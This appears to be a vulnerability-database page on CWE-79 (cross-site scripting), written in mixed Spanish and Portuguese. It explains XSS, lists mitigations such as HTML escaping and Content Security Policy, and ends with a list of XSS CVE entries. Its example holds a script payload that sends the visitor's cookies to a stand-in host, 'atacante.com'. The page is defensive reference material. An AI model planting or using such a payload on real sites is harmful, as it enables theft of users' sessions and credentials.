Fallos del tipo CWE-79

29.914 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-25491LOWCraft has a Stored XSS in Entry Types NameEPSS 0.4%CVE-2023-23786MEDIUMWordPress affiliate-toolkit – WordPress Affiliate Plugin Plugin <= 3.3.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-18062MEDIUMKadence Blocks <= 3.7.8.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Identity Block Inner Image ContentEPSS 0.4%CVE-2024-12060MEDIUMWP Media Optimizer (.webp) <= 1.4.0 - Reflected Cross-Site Scripting via wpmowebp-css-resources and wpmowebp-js-resources ParametersEPSS 0.4%CVE-2023-4371LOWphpRecDB index.php cross site scriptingEPSS 0.4%CVE-2025-46908MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-3832LOWBug Finder Wedding Wonders Ticket create cross site scriptingEPSS 0.4%CVE-2023-3541LOWThinuTech ThinuCMS author_posts.php cross site scriptingEPSS 0.4%CVE-2024-45609MEDIUMGLPI has a Reflected XSS in /front/stat.graph.phpEPSS 0.4%CVE-2023-3542LOWThinuTech ThinuCMS contact.php cross site scriptingEPSS 0.4%CVE-2025-30838MEDIUMWordPress Cozy Blocks plugin <= 2.1.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-5647MEDIUMMultiple Plugins <= (Various Versions) - Authenticated (Contributor+) Stored DOM-Based Cross-Site Scripting via Magnific Popups JavaScript LibraryEPSS 0.4%CVE-2025-46946MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-3835LOWBug Finder MineStack Ticket create cross site scriptingEPSS 0.4%CVE-2026-7438MEDIUMBold Timeline Lite <= 1.2.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.4%CVE-2024-31448HIGHCross-site Scripting vulnerability in link CSV import in Combodo iTopEPSS 0.4%CVE-2023-2960MEDIUMXSS in Oliva ExpertiseEPSS 0.4%CVE-2025-46880MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-33591MEDIUMUser Registration & Login and User Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the compoEPSS 0.4%CVE-2023-3830LOWBug Finder SASS BILLER store cross site scriptingEPSS 0.4%